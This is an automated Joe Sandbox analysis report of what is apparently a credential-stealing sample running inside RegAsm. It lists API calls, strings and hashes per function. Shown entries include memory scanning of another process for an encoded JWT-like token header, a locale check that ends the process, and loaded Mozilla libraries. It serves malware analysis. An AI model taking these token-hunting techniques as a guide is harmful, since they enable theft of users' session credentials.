??_U@YAPAXI@Z.MSVCRT(00064000), ref: 00416B7E

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

OpenProcess.KERNEL32(001FFFFF,00000000,00416DAD,004205AD), ref: 00416BBC
memset.MSVCRT ref: 00416C0A
??_V@YAXPAX@Z.MSVCRT(?), ref: 00416D5E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00416C2C

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 985516fdb4aba9a37da67002539eb8a614f9f3b36bd237ff0cc46e5de52e8429
Instruction ID: 7f38ab3eb3b1a919a3e5ec0c0fab515e305e32cb9f2de8b47bf31e49bfe0b2e9
Opcode Fuzzy Hash: 985516fdb4aba9a37da67002539eb8a614f9f3b36bd237ff0cc46e5de52e8429
Instruction Fuzzy Hash: 285162B0D002189BDB24EB95DC45BEEB774AF44318F5041AEE50566281EB78AEC8CF5D

Function 6CA8A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA8A565

Part of subcall function 6CA8A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA8A4BE
Part of subcall function 6CA8A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CA8A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6CA8A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA8A6B6

Strings

z, xrefs: 6CA8A6AE
0, xrefs: 6CA8A5FB

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: ecad710de81610ff78ba4090a836ecb2d1e00380110be58b6a74c280da0ce2e0
Instruction ID: e93b31eff8bc9bd9c30a3604586c9f3d8c2a9b59b957344ee5215320eaaa24ef
Opcode Fuzzy Hash: ecad710de81610ff78ba4090a836ecb2d1e00380110be58b6a74c280da0ce2e0
Instruction Fuzzy Hash: AB413C719097459FC341DF28C080A8FBBE5BF89354F408A2EF49987794E730D989CB82

Function 6CA59420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6CA4AB89: EnterCriticalSection.KERNEL32(6CA9E370,?,?,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284), ref: 6CA4AB94
Part of subcall function 6CA4AB89: LeaveCriticalSection.KERNEL32(6CA9E370,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA4ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA24A68), ref: 6CA5945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA59470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA59482
__Init_thread_footer.LIBCMT ref: 6CA5949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA59459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA5946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA5947D

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: e4a5b32e039431ca00e9a21914eb1af45ae4d179e58f68edf18bdb19980c48c3
Instruction ID: 7dbacb0509bc538651c99d1815ed7bc3f066e7488b8ef41e4b833d41d6518816
Opcode Fuzzy Hash: e4a5b32e039431ca00e9a21914eb1af45ae4d179e58f68edf18bdb19980c48c3
Instruction Fuzzy Hash: 3101B9B4A102028BDA049F6CDD1359633BAA74532CF08C53AE9058AA41DE31DCF78A67

Function 00416210 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214
ExitProcess.KERNEL32 ref: 00416245
ExitProcess.KERNEL32 ref: 0041624F
ExitProcess.KERNEL32 ref: 00416259
ExitProcess.KERNEL32 ref: 00416263
ExitProcess.KERNEL32 ref: 0041626D

Strings

*, xrefs: 0041622C

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: 5ece0110b3631b66e0cf394c1ce0ab63be50b876c6328f41a651a73fa16b4c2b
Instruction ID: 0b6e22eaf0c44992244314602628df478572758edaaa30d1127695f9febd7a00
Opcode Fuzzy Hash: 5ece0110b3631b66e0cf394c1ce0ab63be50b876c6328f41a651a73fa16b4c2b
Instruction Fuzzy Hash: 49F05830908A08EFE764AFE0EA09F5CBB3AEF04713F108195F609C7290CB748A11DB55

Function 6CA8B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6CA8B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6CA8B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CA8B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6CA8B5F4
__Init_thread_footer.LIBCMT ref: 6CA8B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6CA8B61F
std::_Facet_Register.LIBCPMT ref: 6CA8B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA8B655

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 8b9226633afc19b68d395de586b1b314faade2ff3aa5efb5ff481868db345896
Instruction ID: fcf3fe7e3f138fd6e4bf19534698ab65507e4b66fd965f8370106216d9ec8345
Opcode Fuzzy Hash: 8b9226633afc19b68d395de586b1b314faade2ff3aa5efb5ff481868db345896
Instruction Fuzzy Hash: E631A471B00206CBCF18DF69DC559AEB7B5FB85328B144629E90297790DF30A947CB91

Function 004169A0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 004169BF
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,00416C3A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 004169ED

Part of subcall function 00416670: strlen.MSVCRT ref: 00416681
Part of subcall function 00416670: strlen.MSVCRT ref: 004166A5

VirtualQueryEx.KERNEL32(00416DAD,00000000,?,0000001C), ref: 00416A32
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00416C3A), ref: 00416B53

Part of subcall function 00416880: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00416898

Strings

:lA, xrefs: 00416A18, 00416A1B
@, xrefs: 00416A46

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: :lA$@
API String ID: 2950663791-2855229504
Opcode ID: 4afa45cea5b3bcaab92a32f2428c4a97edc849bca8639b017ecb6fd58acf4104
Instruction ID: 51c9d4b078fe92f83ab81220ebbaf7cdf2a8f9ee762561721c09ea6573e6fdbd
Opcode Fuzzy Hash: 4afa45cea5b3bcaab92a32f2428c4a97edc849bca8639b017ecb6fd58acf4104
Instruction Fuzzy Hash: 845108B5E04119ABDB04CF94D981AEFB7B5FF88304F108519F915A7240D738EA51CBA9

Function 6CA61D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA61D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6CA61BE3,?,?,6CA61D96,00000000), ref: 6CA61D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6CA61BE3,?,?,6CA61D96,00000000), ref: 6CA61D4C
GetCurrentThreadId.KERNEL32 ref: 6CA61DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CA61DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA61DDA

Part of subcall function 6CA61EF0: GetCurrentThreadId.KERNEL32 ref: 6CA61F03
Part of subcall function 6CA61EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6CA61DF2,00000000,00000000), ref: 6CA61F0C
Part of subcall function 6CA61EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6CA61F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6CA61DF4

Part of subcall function 6CA2CA10: malloc.MOZGLUE(?), ref: 6CA2CA26

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: b7421fa3902290210494619da612c6ac28a5ba3c10f081cfbf689716bc640aed
Instruction ID: b805c091863a24231ef641c4c89c6ee9282fdd75bf108a4fef93d58e74887439
Opcode Fuzzy Hash: b7421fa3902290210494619da612c6ac28a5ba3c10f081cfbf689716bc640aed
Instruction Fuzzy Hash: 70418B752107019FCB14CF29D589A66BBF9FB49314F10852DEA5A87B41DB31F854CB90

Function 6CA584E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA584F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA5850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA5851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA5855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA5856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA585AC

Part of subcall function 6CA57670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA5767F
Part of subcall function 6CA57670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6CA585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA57693
Part of subcall function 6CA57670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA585B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA576A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6CA585B2

Part of subcall function 6CA35E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA35EDB
Part of subcall function 6CA35E90: memset.VCRUNTIME140(6CA77765,000000E5,55CCCCCC), ref: 6CA35F27
Part of subcall function 6CA35E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA35FB2

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 8aaa41f73270711afca828c7e42cee2bbc5e205ed07ad740c0ff7f3cdac7a216
Instruction ID: 652c237d9818330b9b15d4bbce25f749346c5f82a461e4061440e0c004c196fc
Opcode Fuzzy Hash: 8aaa41f73270711afca828c7e42cee2bbc5e205ed07ad740c0ff7f3cdac7a216
Instruction Fuzzy Hash: CE21A1742107028FDB18DF29C889A5AB7B5AF4430DF68882DE55BC3B41DB31F999CB51

Function 6CA5F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA4CBE8: GetCurrentProcess.KERNEL32(?,6CA131A7), ref: 6CA4CBF1
Part of subcall function 6CA4CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA131A7), ref: 6CA4CBFA

Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA24A68), ref: 6CA5945E
Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA59470
Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA59482
Part of subcall function 6CA59420: __Init_thread_footer.LIBCMT ref: 6CA5949F

GetCurrentThreadId.KERNEL32 ref: 6CA5F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CA5F598), ref: 6CA5F621

Part of subcall function 6CA594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA594EE
Part of subcall function 6CA594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA59508

GetCurrentThreadId.KERNEL32 ref: 6CA5F637
AcquireSRWLockExclusive.KERNEL32(6CA9F4B8,?,?,00000000,?,6CA5F598), ref: 6CA5F645
ReleaseSRWLockExclusive.KERNEL32(6CA9F4B8,?,?,00000000,?,6CA5F598), ref: 6CA5F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CA5F62A

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 4735162570971f6371db8785da9f2e117c03c0908df25f0eeda389eda67e4ef8
Instruction ID: 02f463a042d96a3457568b1450519384b9f8814bd2c00e2fd04adbe5dea6fb2d
Opcode Fuzzy Hash: 4735162570971f6371db8785da9f2e117c03c0908df25f0eeda389eda67e4ef8
Instruction Fuzzy Hash: FE11C475211306AFCB08AF19DD499E577B9FB86358B908019FA0687F41CF31AC66CBA0

Function 6CA20EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA4AB89: EnterCriticalSection.KERNEL32(6CA9E370,?,?,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284), ref: 6CA4AB94
Part of subcall function 6CA4AB89: LeaveCriticalSection.KERNEL32(6CA9E370,?,6CA134DE,6CA9F6CC,?,?,?,?,?,?,?,6CA13284,?,?,6CA356F6), ref: 6CA4ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CA4D9F0,00000000), ref: 6CA20F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CA20F3C
__Init_thread_footer.LIBCMT ref: 6CA20F50
FreeLibrary.KERNEL32(?,6CA4D9F0,00000000), ref: 6CA20F86

Strings

combase.dll, xrefs: 6CA20F18
CoInitializeEx, xrefs: 6CA20F36

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: ec2f6f8705e1468bb71b8fe52d2d83134750f12608d11c1fcfbe2b425daf2602
Instruction ID: be8f77cb2896c6cc194c8343e15d2e6ccf4aab8bc90baa0e128df56f8da3c825
Opcode Fuzzy Hash: ec2f6f8705e1468bb71b8fe52d2d83134750f12608d11c1fcfbe2b425daf2602
Instruction Fuzzy Hash: 8A11A3743513529BDF18CF54CD1AA863BB8FB4A325F08C22DF90582B40DF349887CA61

Function 6CA5F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA24A68), ref: 6CA5945E
Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA59470
Part of subcall function 6CA59420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA59482
Part of subcall function 6CA59420: __Init_thread_footer.LIBCMT ref: 6CA5949F

GetCurrentThreadId.KERNEL32 ref: 6CA5F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA5F561

Part of subcall function 6CA594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA594EE
Part of subcall function 6CA594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA59508

GetCurrentThreadId.KERNEL32 ref: 6CA5F577
AcquireSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA5F585
ReleaseSRWLockExclusive.KERNEL32(6CA9F4B8), ref: 6CA5F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6CA5F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6CA5F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CA5F56A
[I %d/%d] profiler_resume, xrefs: 6CA5F239

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 2642585e2be243ab949471c14c5c14dbb6edac7491e36a9ae8c3d1d59021419f
Instruction ID: ec1f73dfb3ff733804711cc73135d0957a864391f4ee6ddfbef4fe8722198e9d
Opcode Fuzzy Hash: 2642585e2be243ab949471c14c5c14dbb6edac7491e36a9ae8c3d1d59021419f
Instruction Fuzzy Hash: D6F0B4752203059FDF14AF69AD4AAAA77BDEB8629DF008119FA0687701CF319C46C761

Function 6CA505F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CA4CFAE,?,?,?,6CA131A7), ref: 6CA505FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CA4CFAE,?,?,?,6CA131A7), ref: 6CA50616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CA131A7), ref: 6CA5061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CA131A7), ref: 6CA50627

Strings

<jemalloc>, xrefs: 6CA505FA, 6CA5060F
: (malloc) Error in VirtualFree(), xrefs: 6CA5061B, 6CA50625

Memory Dump Source

